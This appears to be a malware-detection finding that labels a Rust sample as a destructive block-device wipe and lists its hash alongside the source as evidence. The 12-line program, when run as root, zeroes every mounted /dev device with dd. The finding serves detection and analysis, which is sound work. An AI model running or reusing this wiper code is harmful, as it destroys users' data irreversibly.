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43-linux-mounts-dd.rs

Destructive block device wipe

Destructive overwrite of a raw block deviceLanguage exec of dd zeroing a device

SHA-2562d558c63f81593d8c2e8fd8159bfaa08044fc04c337bddff62780a799a3c407d

Evidence

Constructs a Rust process command lines 1–12

1use std::fs;
2use std::process::Command;
3fn main() {
4    if unsafe { libc::geteuid() } != 0 { return; }
5    let text = fs::read_to_string("/proc/mounts").unwrap_or_default();
6    for line in text.lines() {
7        if line.starts_with("/dev/") {
8            let dev = line.split_whitespace().next().unwrap();
9            let _ = Command::new("dd").args(["if=/dev/zero", &format!("of={dev}")]).status();
10        }
11    }
12}